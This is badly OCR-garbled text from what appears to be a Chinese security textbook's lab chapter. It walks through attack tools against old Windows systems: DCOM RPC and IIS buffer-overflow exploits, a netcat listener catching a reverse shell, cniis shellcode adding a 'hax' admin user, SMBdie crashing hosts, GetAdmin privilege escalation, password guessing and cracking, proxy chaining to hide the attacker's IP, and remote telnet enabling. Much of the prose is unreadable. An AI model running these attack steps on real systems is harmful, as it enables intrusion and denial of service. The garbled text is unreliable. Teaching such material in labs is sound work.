1. 12 WinRouteFirewall 5 H & & S K 5% i 88 0] 45 5F 52 7R

2. G KRG RLIN . ARl BRAS B EPL (TP Sy 202, 206, 25. 110) AT Afa] — & &AL
il 3 F= L AP S 202, 206, 25, 111) i 23 iR 55 (TCP % E 2k 3389)
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FdE T AR & S8 TR BlackICE 1k ZHR ™

1. LBWHEA

A T H BlackICE F1* oK 22 HRE X5 [0 28 75 5 1E 41 52 I A6 00
2. KWAFERG

1E R4 Windows XP,Windows Server,

T HAF . bidserver. exe f1“ VK ZHR”.

3. IWHTRE

(1) BlackICE: X bidserver. exe. {l& 9-83 7~ . 7F 203 o #2 vh 75 Bk A T4 5, 0
& 9-84 Frs R4S 7E ROR. NFO 3,

bidserver. exe
: P BlackICE Intrusi
“o ¥ Network ICE

B 9-83 Z=EXH

Network ICE BlackICE Setup Server Yersion 2. 9. car
BlackICE Server License

Enter the Netwark |CE license key tor vour installstion. Your icense key is the hield labeled
Senal Number on your Hecept and Proof of Purchase.

License [EEE 9242-R5-E4435

E9-84 WAFIS

BlackICE J&— /N AZ G T B 2380 e 27w, SEHRERENRE
FATAER—AFERRS YA 55 455 O ee, ARt 2k sh . 3 5w aniEl 9-85
7~ 1E Events BEITR T 578 P48 09 SE 015 O s E8E Intruders 35K, 7] LA/ EHLAAR DY
PEAN(E B, 1 IP.,MAC.DNS %5, & 9-86 A 7.

(2) VKZHR : “VKZHR 728 A (24l & 48 & NSFOCUS £ 41 & 4 Fff vh — 3k & T 14F X
B S A g AT i N ) L e O 73 T 5y N 0 N NI (7 AT o o | A2
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flack iUk efender for Serves
He Edt Yew Took Help
Bvantn | Tatruders | Kistary |

Itl.— | Evame | Intrwier Iﬁ-l
) H4-0=18 1947 la=hICE datsetion 50000 I
.zﬂu-nc-m 12 F2 4FlachICE detection :D 0.0.0

M14-0L-21 11:88:4FTP pert prebes
(%) 2014-01-21 1134 .CTCP pert prebe
R M14-01-E1 1041 -TTCF port probe
M 2004=01=21 1031 CTCP pert preba

] Aitscher sitempis te sen of & purtienler pert s pdvE
apen for remsie sseess "

e | e |

s

|| @ 0 ) |[Prscice cstener for se.. LEIEP oo

E 9-85 BlackICE 9+ R

« » BlackICE Defender for Server _._I_nji(_'
File Edt Vview Tools Help L I
Events Intruders |]|i:linqr|

2) 192.168.1.86

1 192.168.1.9
ode: WINZOOO-SRV-WM
«tBIDS. ADMINISTRATOR O
oup: WORKGROUP
. D0DC2935TaTA
DNS: WINZOOO-SRV-WM

Ebﬁlﬂelnlﬁ

E9-86 BFEEFEANEEMNFHREE

W28 1) 22 4, W 9-87 WY autoexec. exe U EFT &0 %% o E B &3 UK Z IR 2 2L 2, 4
&1 9-88 Flr 7~ s AR 42 2 K Z IR 551l 15

% I S T A AR TR AT, W [ 9-89 Bk L & A S sh i Th JE & 9-90 Fr R .
REE A GA] LA 2h M W 45 I 2% 04 B s i . EPL0 B A5 X 0] BE /Y S5 14 28 1 R 00 A e
I FE PG P A0 A7 I 1 2 AL AN 9 2 18 A2 i 3R 2 i R Lk AR 1 AR TT R
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IJ IDBPS dk
1/1 IDSAgentFor'tinZk l/J IDSBase
L‘J INSConsole L,J IDSFirewall Adapter
autorun, exe
Mz Bf P RIT RIS
SFEtl O
: autorun, inf
wHER
1 KB

B 9-87 ZEMBEMNH

autorun. 1co

ACDSee 9.0 ICO B8

| Tr Billip .8y ERa TR Hhmg -
(=l | DR Ly e G
e [ g )

AR b A R )
Buil B002047T TuctallShiald Wizard

= J

. 1
L | -
bing
amubnromn
EfilEF
ESIRTE: 20131224 111
X eea v
Ei%: (EX)
LT

B 9-88 ZRKZIRALLEE

3
g
=
3
S

]
il

Windows

| % = rA ||

E 9-89 BahkZREHE
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_ =i®|
T s TR0 WO W

alllumsmliilclﬁli P9
CRAEE (BY1E Bk bien) <0 | BETT e gl

B 9-90 kZRZKGEERE
RBER . X — 5 %A A T B iy tlar dE17 15 B0 55 90 50 . & R/ AR f il & 5t
Y BN » FF G B 5 e i

U5 1= IP Rk T H Hide IP Easy

1. X HHY
BotoBE PR 1Y L5 1% TP B 1k R 9 1 3 2l g W AR 3 A5 B Y 9 2R 7R 57 i

2. XWIERH
1E 24t . Windows XP.Windows Server,
B3 . Hide IP Easy,

3. RBTE
22 T A A n 1 9-91, Wit HidelPEasy. exe S 4¢3, 4255 B W&l 9-92. 3
g S AN 9-93 B, Bl Hide TP n] DLERGBCAPLAY 1P,

— HideIPEasy. rar — ¥inRAR
XHEE S0 IRGE ExQ Emaq #Who

E N TR N
F MER B SE me
B B rideIPresy e - RAR EBIH, WELIN 4,615,591 TP

% O

Lres

Jlang

S EEEIREE 1, 054

- PCETENL htm 48, 814 7,669
nHideﬂ"!asy. exe 3,814,712 1, 285,835
= ffextension xpi 4,545 4,348
fex) const. dat 1,536 792

< | |
_JmC Bit 3 X% 0 3,870,881 ¥ 5 U

B 9-91 ZEFTENHRH
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Welcome o the Hide IP Easy Setup
Wizard

This wizard will guide you through the installation of Hide [P
Easy 5.3.3.6

Click Next to continus,

End User License Agresmant

Protect Your Privacy Easily = Privacy Policy

Next > Cancel

B 9-92 ZEHFE

BT . 56k TP Hudik f2 8L 2

S HPU F BB 4t o B 4 B £

RZ B ks IDS A7 8 W D e, B o] DUdE o A B Bk A E ALK B LS B K Thag., A
XA T BE A A8 B )2 AR PR . — ELAR PR Bk AR 1) )2 B0 o Bl ok B 3R AS I AR G 38 T 2 B
EN . ZEFHERTLE LA RE . L, — 5 BT 2R W 3% ) 20 Bk
B DA RS 22 2 U AR N 4% L 5y — O T A2 3 E WL A B KBS AR AS I R A R R
i 3 W2 BOR XA R R

1. XWHEHK

TR IR AR TGk S 22 Bk Al CBk AR I 2% ) Y A O 2k IR R AR M 280 R R R
PLXS 32 3 EHLAY U5 1) RO
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HHEMR % &AL REHAE

168.

2. LWiIEHFE

5 4 Windows Server 2003 F#1,192.168.5.9 K2 EH..192. 168.5.5 K B2 H.192.
5.6 F—2 Bkt ,192.168.5.7 2Bkt ,192. 168.5. 8 =2 Bk g .

3. XBRTRH

(1) BEYL 22 Skserver RS, IR & I8 k5.
(D F#k 2 Sksockserver. exe Fr7ERY H 5% . i A Sksockserver. exe -install,
@ %y A sksockserver -config port 10000,
@ % A sksockserver -config starttype 2,
@ & A net start skserver(1& 9-94 frR) .

C:“Jocuments and Settings“Administrator>CD/

C:“JDocuments and Settings\Adninistrator>CD\

C:iSONET START SKSERUVER

Simple TCP Service EE I_EEEij] "

Simple TCP Service HE

(2) fE—2R PPl I iz 1T skserverguil. exe, §J JF
“25 34 19 SkServer” L — 2 9 = HBR A ik 2k,

Sl

s .

B2 BN .

B 9-94 HIEMRIEARSE

skservergui fig 5 . B Al
vi 1A 1813,/ E 70F . W& 9-95

i 3B

Sttt

-0 x|
x|

SkSerwver!

Sequ | IF | Port | Active | Dese | e
0 192. 16B.5. B 1813 ) § F—
1 192 168.5. 7 1813 Y

2 192 168.5.8 1813 4

IP [192.188.5.8 pR0 [1613 W EAH? UHE

BRiE | ITE |
sgm | wE | D | 0K | Cancel | 5

& 9-95

E—RNEARSS
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(3) 7E 2k Bk Ml I E WL PR 55 A9 B M 22 17 skservergui. exe F2 7 . T FF skservergui flk
5 B L E TR L 20 1 SkServer” 8 ASHL A = Bk A A ik 2 v oA 1813, ik rh
E 9. i 9-96 Frs .

=101 x|
rew :.: x|
F  Sequ III | Port | Active | Desc | —
0 192.188.5.7 1813 Y Lo
1 192.168.5 8 1813 1
IP [192 168.5.7 pRO 813 @ Eftif? UL |
Bt | LT |
g | omm | e | LR % | Sew||
_ .‘

B 99 B _HRIERESH

(4) FEHER RN = Bkl iy EHL %3 Skserver it 55, IF &I )G ik 55 .

(D %y A sksockserver -install,

@) %5 A net start skserver.,

(5) EREYL LTI skservergui e 55 . Hali “ A & "R >4 14 1Y SkServer”, {8 =2
kA A k2% 5w B O 1813, 3 E iF L anE 9-97 Fan . ZIERFAFIRE . EHR k.

nake[EHLERE UYL 02 Deild OO13

- O e— X

.m_ Emln | Port | Active | Desc |
0 127.0.0.1 10000 Y
1 192. 168.5.8 1813 Y
2 192, 166.5. 7 1813 Y
3 192 168.5.8 1813 Y
IF [ 1e2. 16855  bmm [ 1813 [ BftiF? UEE |
st | IT8 |

‘| AN | e | DEPR T ] Cancel |

E 997 EBE=ZRIERSSE

(6) TEEZHL I H sockservercfg il VE AT HH X 2%

O HEREYL I is17 I 4T IF sockservercfg—" 28 33 19 Bk Al 7 3 101 - | 7 1 Ab 40 Y s i Bk i
g 1P i 5 CEF = A28 0 Bk Al iy TP bkl A 0 A0 A, 28 P “E 377~ 2 , W& 9-98
I 7 .



224 it H LR &g Al LI AR

SnakefflsockfCH-EBER .’_‘l

RESHEE | TPEREE SUOME |

0 192. 168.5.6 1813 Y
1 192.168.5.7 1813 Y
2 192.168.5.8 1813 Y
Ir PRO P
182.168.5.6 | 1813 [, Eftife Down |

Mam | PR | DR |

E 9-98 ZE Xl L E A sockservercfg i /£ X 1B W &

@ g BB AP Skserver IR 5 .

(7) P .

O BEYLAE Sockscap F H X 1E, 76 TE Huhk £ vpfgg A 5235 FEHLAY TP (2 3F EHLE
FEiRE 1 Web L5 Uil st sy, an & 9-99 Frzs .

XD @MED SEY e TAD ®Eho a-|
OBl «+ O - i3l v S ER CER SRS O - .3 |
_ilﬁl.'l]l http: /182, 168.5.9/ -igﬂ wE -'
: =i
CEFEFEFOMSAMNBENRUN. TEEEN TR THATICERTE.
WINE RO RS A . I0RENMHERNEE . FSFERRRER.
NPTRFAMEERR S AUNTEEETIRE N ESELAR » TER] 1S
gy BETOREEMSNE .
EUHE 11S WH
1 BfFE ., EEESED.
2 BIINTERS, ) inetsgr. BN 115 9.
1 AW REE, paNEINTERS.
i Bifinternet FEES.
=l
e T T [ Internet
AT S () oc\es. | Glses . |mestEE  |[Swes - 5 o LT

B 9-99 HRIZFEER IP

@ ZFE FHE B 00 DOS 1y 2 47 15 17 netstat -an, o & B H IF 19 2 E ¥l
192.168. 5.5 5 H: 80 v M AHZE 4T A 30 4 (H 8 & PUAC EE Bk Al =41 192. 168. 5. 8 H5=ZFHL
1 80 ¥ I AH %) , AN & 9-100 Fras .,
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C:sDocuments and Settings“Administratar>netstat —an
Active Connections
Proto Local Address Foreign Address State
ICP a. El B.8:23 8.0.8.8:8 LISTENING
ICP f.A.A.8:8A N H LISTENING
ICP 8.8.8.8:1135 A.8.8.8:8 LISTENING
1 H.8.8.8:44% H.B.8.8:8 LISTEMI NG
ICP A.0.8.8:1025 B.8.8.8:8 LISTENING
ICP A.8.8.8:21826 A.8.8.8:8 LISTENING
ICF 8.8.8.8:1813 8.8.8.8:8 LISTENING
TCP 192.168.5.9:88 192.168.5.8:1832 TINE_MWAIT
ICP 192.168.5.9:88 192.168.5.8:1833 TIME_MAIT
TCP 192 .168.5.9:139 8.0.0.8:0 LISTENING
upp A.8.8.8:445 -7
upp A.8.0.8:50A
upp B.8.8.8:1827
upp H.8.8.8:249588
upp 127.0.8.1:123
upp 192.168.5.9:123
uDFP 192 .168.5.9:137
uDp 192.168.5.9:138
C:sDocuments and Settings“Adminiztrator?
B 9-100 I&uF
=]
B . g 28 Bk 5L FALUE T AR
LG PSS T H GetNTUser
=
1. XWBH
" rpy ' ] e L LI L 3 =1, 3 ke o3 i~ 1]
PG EHCE W FE AL H P 2 R A P O B SR T DU R 45 e

B 0 5 1 B8 B A s (SR ST

2. REEATERH

% P HLEEE RS . Windows 2000 /Windows XPL.IP #ihlk A 172.19. 25.110,

M &5 #5358 4E 3248 . Windows 2000 Advance Server / Windows XP,IP #ihl-A 172. 19. 25. 102,

S I AR B P B HL A s AT DA R AL . AR R UL T 4% il 55 #F Windows 2000
Advance Server / Windows XP, i1 A DIFEE F HL AR 55 4 7] i) 22 2 B EUPL T .

T H#AM: . GetNTUser. exe.dic. txt,

3. XRTE

(1) §TH GetNTUser. exe FE I EHL . a0 &l 9-101 fris .,

(2) Xf TP sk 172, 19. 25. 102 1 il 55 i AT 49 488 » A0 e 55 s 1) TP M ik 4 5] 9-102
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3. XRFTREH

(1) Xt —»{ 25 Wt " n) Word SCRYHEAT I » #E#E Office XP 33 Office 2000 &2
CEETR YT EEIT R S, WA 9-133 FUR

'ZJi'&ﬁ’- doc — Hicrosoft Word [TFﬁTGﬂ
- XHE &Ee NEY S0 #20 [IED |[®Se B0w ®mo B\ RN 8 . x
- S REREREE RN L 8 ;'w WEMEEG). F7 «-hS - B 71 = 2 [
ﬁ,ﬁ ERET R  Aues RN
LA » =
- FRimt o)
i BE W
% HETHE ©.
= {ER Bk ®) »
g BENQ...
%y M@h
i v
Iy
B v
- $
f =]
3
E 0Bz < : : >

B 9-133 3T Word 344

(2) AE 58 AY 28 2007 X 35 AE v B & A VRV BRI R L 78 AT T SO I A A 7 A0 8 B S
{1 2 B8 7 T A SCASHE v RS0 A 12347, IF Bl “ i V4R AL, T IR] 9-134 Ff .

(3) PRAF I ICHTIZ SO W SR A PR AT T 2 SO 5 o A% 0, &l 9-135 Pl

(4) IZ B 4 P8 B DIE A T B4 F Advanced Office XP Password Recovery A L)
PRE B AE Word SCHERS . 1 7eIT I IZE A i 9-136 P .

By T HAE Y Open File #2411, T IFWIA I 7Y Word SCFY, IF 15 B % 049 A9 1 e
2 1AL e Y 2 4 A7 By T HEAS A IR G " Bl b, Qi 9-137 Brow . e K2y 0.1 B e
AT R B A Th O L A Bl 9-138 P

B2h . ZBAERR T REW A Word SCHY .8 A] LLRE i Excel LY \PowerPoint SCFY 11 %5 %
DL M Winzip Al Winrar 9%,



242 i+ H LR &g Al LI AR

WEWEE | #i7 | BPRE | WVl | P3N | XHEE
0\ | WA e | 10 | BE | =ed

TFTHINERQ) P | [ S8 @. .. |
BT PR 2 S T

BT HRERERM e |

(] L AR TS ©)

(BFEE0. | (BFxEe.. |

AT

[ R0 M0 P P 1B A (BB )

CISTED. (RTFRSis @S T ELTERT 42 M HEE 1)

B THEES R RAOMEILRSE @)
VIFIFREEREIE R !

TRl
SRR, e T (ZRERD. ] 0 Adbit s ator RIVEM. doc

l_'li.u)uﬂ_] o= ]|

B 9-134 ZEFMH B 9-135 fIAFEFTE

« AOXPPR 2.00 — Untaitled
File Recovery Internet VBA Backdoor MHelp

Goenfie. ~ DEE P U B CE€% 4% 208

Fie Name ~ Type of attack
I * Brute-force attack " Dictionary attack
T Brute-force with mask

Brute-force I Dictionary | Auto-save | Options | Benchmark |
Brute-force ophons
Password length options Brute-force range options

: ¥ Allpintable & '
Meimallength [1 3] | | = TIPERE S T Custom charset

Maximal length [3_@ Starting password:
Mask.

~Current password - Cument speed

Log window
| Date, Time | Event
(&) 2014316191635 MS Ewcel is installed at DAOFFICE11\EXCEL EXE
3) 2014-3-161916:3% Version of MS Excal is 11.0.5612.0000
&) 2014316191635 MS Outlook is installed at D-\OFFICE 11\OUTLODK EXE
&) 2014-316 191635 Version of MS Dutiook is 11.0.5510,0000

Progress ndicator 0%
Advanced Office XF Password Recovery Frofessional version 2. 00 Copyright 71998-2002 ElcomSoft Co

& 9-136 HHEEFRME

B2 .
1. AR B w it PPT . Excel B9% MY, 5 H 5L 56 20 TE
2. FHASEY By BE k% Winrar, Winzip B2 65 .5 H 2256 008



243

« C:\Program Files\aoxppr\WW. xpr
File Recovery Internst VBA Backdoor Help

DEed R B C€%% 4% Q06

Type of atlack
' Brute-force attack
" Brute-force with mask

@& OpenFie. =

File Name
(R doc

" Dichionaty altack

Brute-force IchhutH}'l Auto-save | Options | Benchmark |
|~ Brute-torce ophions
Password length ophions

| Brute-force range options

Minimal length [ 54] [EA,"’“T"""F iV

Masimal length |4 [%4]

FAzli

Starting password:
Mask:

Current password Currertt speed
Log window

Date. Time

&) 2014-31619:17:24
&) 2014-31619:17:24
&) 2014-31619:17:24
(&) 2014-3161917:26

Event

Recoagrizing file format.._.

Selected hle & a Microsolt Word Document or Template
Microsoft Word Versiore 97, 2000 or 2002 [%P)

File B8 _doc successtully opened

W

0% o
Advanced Office XP Password Recovery Professional version 2 00 Copyright 71999-2002 ElcomSoft Co. Ltd

Progress ndicatot

& 9-137 &8
FPassword succesz=fully recovered !
Advanced Otfice XP Password Recovery Prolessional statistics:
Total passwords 9218 e ™ iew
Total bme: 115ms
Average speed [passwoeds per second] |80003
Password for this file 1234 E=N |
Password in HEX (uricode] 3100 3200 3300 3400 EE)
| ™ Save inunicode '
vI\OK | B save |

& 9-138 WRHRNZFE

s N PRI E S ) GetAdmin

1. X B/

2l T H B GetAdmin, 76358 1 P 8 SR A T8 45 B AU P

2. XWMERNE

435K . Windows 2000 Advance (Windows 2000 Server) .

BAFESR . GetAdmin. exe,

3. XWPTR

(1) FHE58 H P 54 % 5% Windows 2000 Advance Z& 45, 4TJF T HAKF, & 9-139 Fraws .,
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(2) Hiidi New fZHL #0724, G0l 9-140 Fros .

i Windowns NT/ZK Privilege Breaker— by Star ‘ﬂ } Wmdowns M 28 Priniege irealkorr— by St
—~Select user (s) who u wnat to add inte Administrators grouwp: = —Select user(s) who u wnat to add inte Administrators group: ——
Tp—
THAN ADSERVER < L ' Eew
Talntlernetlzer i
wo
"ZH Paw wohack: User Name: !u.pgrgum Pow
- 3 |
= - ok | caed |
Run progran in system privilege: “Run prog
I _Bun_| .| b= |
[ Kbout ] w | guit | Abeut | x| Quit |
B 9139 £HRM@ B 9-140 EIAA

(3) iy OK 41 . s ds A P JF B g sr g P & ok i 9-141 Fios . A/
FREM.JE T Administrators 20, W& 9-142 Fros . A @BH H P A9 ABR . o a] L2 7 H
A

823 windows

o

[ ®wm= | T LW Q) »

B 9-141 HERARER

.alELEJ:
| wtew BFEY (¢ = | OB XEEB @
| B £ T
Ii HESEER) Administr ator EEtEN A RS
i 25TA | MU i AL
3 ) EeEER IUSR_ADSER... Internet EMS B E 506 Internet mmasm
) g £iza IWAM_ADSE... B3h s gtigeks BEh#E 2 e REFY
+ {ie e HEMER sUpatgroup
4 g HETHR Tslnternetiser  TsInternetiser ZTAPKRPIELEIRS S | |
gaﬂm& wo | |
B oho Ty S 21
P ﬁ Eiﬂ M | SEBSERETHE | #A
s £ BT | mExr | Tm | 28
[TRR NS 52 RETF 0
= A B inistrators
Y & BT RSy
v Ip RemmmRF

9142 BRAFRBTEBABFA
B P AU SO R DO R A7 SR RE



-2
o

T4 A #

1. L EHBY

ol T BB A scanms.attack.OpenRpeSs 78 H #r 1B ML _F & H P . 918 o %

FOR AR i % B9 3SR
2. IWEAFRH

BPHLIRIERS
il 55 A ERE R SE
SEHG IR L AR B A

Windows 2000

RPC il it vr i 2% )

i

/Windows XP,IP #ihl & 172. 19. 25. 101,

Windows 2000 Advance Server / Windows XP.IP #ihl A 172. 19. 25. 103,
VLA, Al DA B AL . 76 e UL T %2 %

R % 22 Windows 2000

Advance Server / Windows XP. 0] DA% P AL AR 55 a6 ] 2222 2 B ML T .

T H A,

scanms. exe,attack. exe,OpenRpcSs. exe,

(1) HhiZ il scams. exe 3] C MW HFT.xEHERAHBEE B 172, 19, 25, 101 ~

172.19. 25. 105 B FEHL. ¥ A

o4 G\ WINNT system32 cmd.exe

CisJscanms.exe
ScanMz Tool

T FRE 9-143 Fis .

M= k|
172.19.25.191-172.19.25.185
Cch> 2083 Internet Security Systems

Bcans for systems vulnerable to MEA3I-BZE6 vuln
More accurate for WinXP-Win2k. lesz accurate fFor WinNT

ISS provides
Uze at own ri
IP Addreszsz

172.19.25.183
172.17.25.182

no warrantees
k.

for any purpose
bezt from WinkP.
REMACT SYSACT

Run=
DCOH Uerzion

[VULN]
[VULN]

[VULN] 5.6
[UULN] 5.6

B 9-143 & &E H3kHM RPC iR

(2) AfLIF/HH 172.19. 25,102 #1 172.19. 25. 103 X W & iFEVLEA RPC i . Fm
A attack. exe X} 172.19. 25. 103 #4755 & 9-144 Fros s G S5 R FEX i EHL i
SN HAEHE G AR H P IR EXT ey RPC k55 . 8 8 H P 22 #% i2&#B & qinglo
XRE AT LA SR B 5 T SEAL, ikl 9-144 FR,

(£ 0\ WINNT \ system32 cmd.exe

C:vattack.exe 172.19.25.183

Remote DCOM RPC Buffer Overflow Expleit

= Original code by FlashS8ky and Benjurry
~ Rewritten by gqingl®lB@ <{http:/suuw.esrcist.com.cn’
— modified by qingl@l@Percist.iscas.ac.cn

C:Onet use “N172.192.25.183%ipeé qingl® Suser:gingll

B RIDTER.

B 9-144 WHEHERR
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(3) RPC IR F A L #VEREK M TF 2 AEE .. EE A S8 EMa 2 8.,
OpenRpceSs. exe {1 X5 f H‘%HL&E} RPC R % . un &l 9-145 F 7% .

l' WIHNI !hltm:h' tmd exe

}ﬂpFanf“' exe \I"” 19.25. lﬂ?

Remote RpcSs Pnnfl_nue by gqinglB1@
Enﬂll “rulEIlE'fEt:rcir_:t. iscas.ac.cn
JOpENFPCSS . & X

Usage :0penRpcSs .exe ““sorver
O
MConnecting “\172.19.25.103.. .Canncel Successfully?
lSuchﬂcFully!

Starting Remote Procedure Call <{RPC)» service...

Remote Procedure Call <(RPC) service iz started successfully?
Remote Procedure Call <(RPCY service is Punning?

gingl@®18tttWery good!tha...ha...ha...

Disconnecting server...Buccessfully?

E 9-145 RPCEF

gl BEpIhaE s HP s el LAIA] net use #42  HiniTE VL, RPC ¥ H I iR G SP4
AT AN T . IR A AN T R iZ P ik st 2 8 H I VULN],
BE . HIEH P 2 S, anfa] 5 s 206 Hlas 2

SEUS 47 Pl ne. exe fll snake. exe - B k1 ¥cqk

1. R HA

Fox i T H A ne, snake FHT TIS & 76 B bR HE AL EIFRC— A E L #5124
F % 32 3z 1 s AR X 1AL

2. REATERH

B P HLEEAR S . Windows 2000 Advance Server / Windows XP,IP Hihl A 172, 19. 25. 102,

Mt %5 #5158 4VE 248 . Windows 2000 /Windows XP,IP #ihl A 172, 19. 25. 10

S I SRR S LA ] LA ] R AL 7R K UL T &3 Ik 55 4% Windows 2000
Advance Server / Windows XP .t a] LI P AL AR 55 g A i L2 2 B fUHL T .

- H.# A4 . nc. exe,snake. exe,

3. XRTE

(1) 3 nc. exe BB AH BN CHEBHEH ST HEAH IPEE A 172. 19,25, 102, 3
e i S TP s hik 62O 172,19, 25,103, 1 Je M ne. exe iy & WS A LAY 813 ¥ 1, fif
RS A A4S R “ne -1 -p 8137, W& 9-146 Fizn.

(2) F—2mE 0 E -G48 .83 T B snake. exe g 2K U & 1P itk . Ay 1P
J 172,19, 25, 102, B X ) TP #bhik o4 172, 19. 25, 103, 2 £ 3 3650 19 55 — 100, oty 1 152 A
813, unf& 9-147 Fir7s .,

BB A LA - Bl 1DQ i i1 74 4L AR Y Bon i Bk R N AR B A 9-148 R .
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Wt:\xsystunszmﬂ.um | _ O] %]

Microsoft Windows 2088 [Uersion 5.80.2195]
> RRIIFRE 1985-2008 Microsoft Corp.

C:\Onc -1 —p 813

E 9-146 MIFA#im O

Snake 115 & tH T H(v2.0 Build 00013)

WG 1Bt
TP |172.19. 25 103 Pert [0 _
IDG;

I'I"""""H :‘lr Spl i 0
IISE'l'I'mElr. Spl @~ BEHE, TEHEWBITP/Port
TIS59 WHin2k Sp2 — -
TISS English ¥inZk Sp0 I 172.19.25.102 |\
IISS English ¥in2k Spl =
--TISS English ¥Win2k Sp2 wmOm [513
IIS5 Japanese WinZk Spl - e .
TISS Tapanese YinZk Spi C E|lE E— w0 EY 0)
~TIISS Japanese Win?k Sp2 i |
TISS Mexico WinZk iR A
—1IIS5 Mexico ¥inZk spl
~—TTS5 Mexico YinZk sp? BarEnd S

|-:rr~=i exe fe dir e\
SRR T R RE R R R T B, —URE, BEERRRE 1)
-— by snake. (hitp.//snakel2 top283. net)

E 9-147 & B HEIN

e —

" Soske 1S R TAGZOBobdo001)  EEE
T IBHIE
TP J172.19.25. 103 Port. [50 :
IDgis
[IS5% X ¥inlk Spl O S, EREEIRIILE Fort
ITSSF X Winlk Sp2 1ISMiscOverflowyY2 Buildoo13 E3 172 19 25, 102
1155 Englizh Winlk Sp =S

IIS5S Englizh YWinlPk Sp 5 : _—
“-TTSS Enelish ¥inZk o i%shelicode 3 172.19.25.103:30 0k ) [613

IISS Japaness Yinlk S

—
IISS Japanese ¥inZk S : E—TINCEY @)
—II55 Japsmneze TinZk " |
IIS5 Wexico Winlk Ha
==TTS5 Mexico ¥Winlk =pl
~—TISS Mexico WinZk sp2 EMENE S

|c1'r.d axa fe dir e:\

E9-148 IWEHRTER
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BFH ne 2 M DOS fE X AT . L PUTIREN DOS 4. X it aEdLm C #
i HFC &9 k. E 9-149 Fr s,

(& CAWINNT system32\ crnd.exe - nc -1 -p 813

Microsoft Windows 20808 [(Version 5.88.21951
<> WRFUFAFE 1985-2088 Microsoft Corp.

C:nc -1 -p 813
Wy ¢ PRFIFIFE.

FIF7| S P4SF-6669

c:\ BT

28082-18-19 84:45 <DIR> WINNT

S2-18-19 84:%8 <DIR> Documents and Settings
20802-18-19 B84:51 {DIR> Progran Files
2002-18-19 B85:11 <DIR> Instpub

e N @ %"’*
4 "EFE 3.193.405.448 T _%%E*ﬁ

B 9-149 REAHF[HBE R

B.45 . US By M AR A ] g8 . A IS % i 76 % 07 a9 i B ALIF il — 1> v
FEAH T B % 2 2z 0 O gl LR X i B,

BEM.

1. BB TER 9-147 i ghsE Bl 27

2. 1EF 9-149 rh, 875 5¢ H sk A1 SO 5 - 04T ipeonfig, B 25 & fH 47

%4 1k SMBdie Btan Bt

=)

1. SR8 BHY

ol TR SMBdie {8 B0k 19T EE BE EORT S B0
2. XEMERNG

Z G E K ;. Windows 2000 Server, Windows 2000 Advance,

" H.% . SMDBdie. exe.

3. BT

(1) §TJF SMBdie. exe. 84 3 F i an & 9-150 Froi .

. ‘what i SMBde 7 Computer [IP address)
v It's & prood of concept fool

I% & possible to ciash Windows compuleis by W kil
sending a specsally crafted SMEB requesl NETEIDS namea
\What computters are vulnerable 7 |win2k-server 5
Windows NT/2 4P/ NET RC1 with NETBIOS
enabled §lalus
Authox [Winsack indsskzed

zamols 3 Bperzonal 1o

Call to ame - |nlormabion anschy
hitpy / fvevews renec. org/Infodnarchw/l ndodinarchy hitm

E 9-150 F=Hm|\
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(2) EAH FHL IP 172, 19, 25, 102, B/ FHL IP 172, 19. 25. 103 F1 F ¥ 24
win2000101 gn& 9-151 F 7~

x|
What iz SMBdie ? Computer [IP address)
It's a proof of concept tool. 17219 7€ 103
@ |t it possible to crash Windows computers by f 721925103 Kil
sending a specially crafted SMB request NETBIOS name
SO0 1 lose
What computets aie vulnersble 7 [wu 0o o _i_
Windows NT/2/<P/NET RCY with NETBIODS
enabled Status
Author Winsock iretishzed

zamolk3&personal.io

Cal to aims - Information anarchy
hittp: / vy nimire. ora/| nfoAnarchy/Anfoénarchy him

B 9-151 MAERHBEN IPIENZ
(3) il Kill vz g e BAs 00, HFr FHLZ B B & S i iE 9-152 Fios

#x% STOF: BOxO00000LE (BxCHO0808S ,8xE0458 188 , x00800008 1 . 0x808 7688065 )
KMODE_EXCEFPTION_NOT_HANDLED

%N Address 4B8180 base at 90900008, DateStamp I8449617T - ntoskrnl .exe

B 9-152 HIEHRIY R EBE

Mgl Z I Windows 2000 #2401 R 48 JE AR ER 25 58 46F Windows XP & 4 v %l &
I3 . % Windows Server 2003 H1.7 %k,
BEW

. XA [ A 2 56 SMBdie &fF 25 5 ] 2

s+ Fl)

HFTE i cniis @t 7 P

1. LB/
“r o ffi T 2ARAE ennis B AT ER IR IR 7646 4 3800 s in— > B S E AR H - .,
2, LWHEHRHG

A4 E K . Windows 2000 Server(Windows 2000 Server Advanced) .
" B A . cniis. exe,

(D) 48T B cniis.exe 8EHF CHMBHEHZET.H RS 2209 IP K 172. 18. 25.103,
PATFER , W& 9-153 Frzn.,
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o7 C:\WINNT \system32' cmd.exe

icrosoft Windows 28008 [(Version 5.88.2195]
<C> RIVERE 1985-200@ Microsoft Corp.

:ecniis.exe 172.19.25.183 8
SP type: B
Shellcode sended?

If success.the target host will add a Admin User named hax,its passwd is hax.
pod luck???

B 9-153 IWNEHFHR®

PHAT5E eniis ag&Ja > WER G ST H P L1 ¥ 278 B s it BP0 E 2 57— P 28 1 i
akoe hax W P ZH P R TEE G H P 4.

gt 2R Z IR AE SP2.SP3 K SP4 A FARRAEAE B EAIEH 02 | A
(LRI

B .

1. HES W H P 2 ME, &5 1EE .

2. WS UEIZH PR T EE B H P A

W+ IL T H RTCS ZFEIF B2 Telnet JIRSS

h-r
|

1. XEEA

i H T H RTCS 3F HA X & B a9 H P 22 & 50 vl BL Telnet 28 5% 21 %] J7 f fig 2
17 MR AEXT 7 19 SCF R 5¢

2. RIGPTERHF

it %5 g5 18 4VE 248 . Windows 2000 /Windows XP,IP #uhl & 192. 168. 1. 2.

2 P HLIEAE R 4G0. Windows 2000 Advance Server / Windows XP,IP #ihl & 192, 168, 1. 3,

S U, G SR B B LA, T LU R AL . 7E B UL T %2 3 ik 55 %% Windows 2000
Advance Server / Windows XP,th A] L% F AL A1 Ml 55 4% [ 1 22258 2] jg UL T .

T H#M4 . RTCS. vbe,

3. BT,

M T H RTCS. vbe 7] LA #2 3 X5 7 EHLAY Telnet iz 55, HiZ T2 75 2L H1E X B
AEH ORI P 2 ME S, {6 a2 42 “cseript RTCS. vbe 192. 168. 1. 2 Administrator
123456 1 237, Horp escript J&2#AE R G H i 1917 2 - RTCS. vbe J&iZ T H A 19 I A ST
IP it 22 55l Telnet f FHLHLHE . Administration £ P45 ,123456 %465 ,1 25 F &R
GuRY Bk Jy 30, 23 52 Telnet FFAY I o 2w < PRAT IS AR 38 19X 265 1) 3 52 7 22 — B I fia]
JA L Telnet k55 (19 90 ik i £ 40 18 9-154 Frow .

AT SRR X T EVLY Telnet iR 538005 ¥ o 7E DOS 27877 F , X 0 5 4L
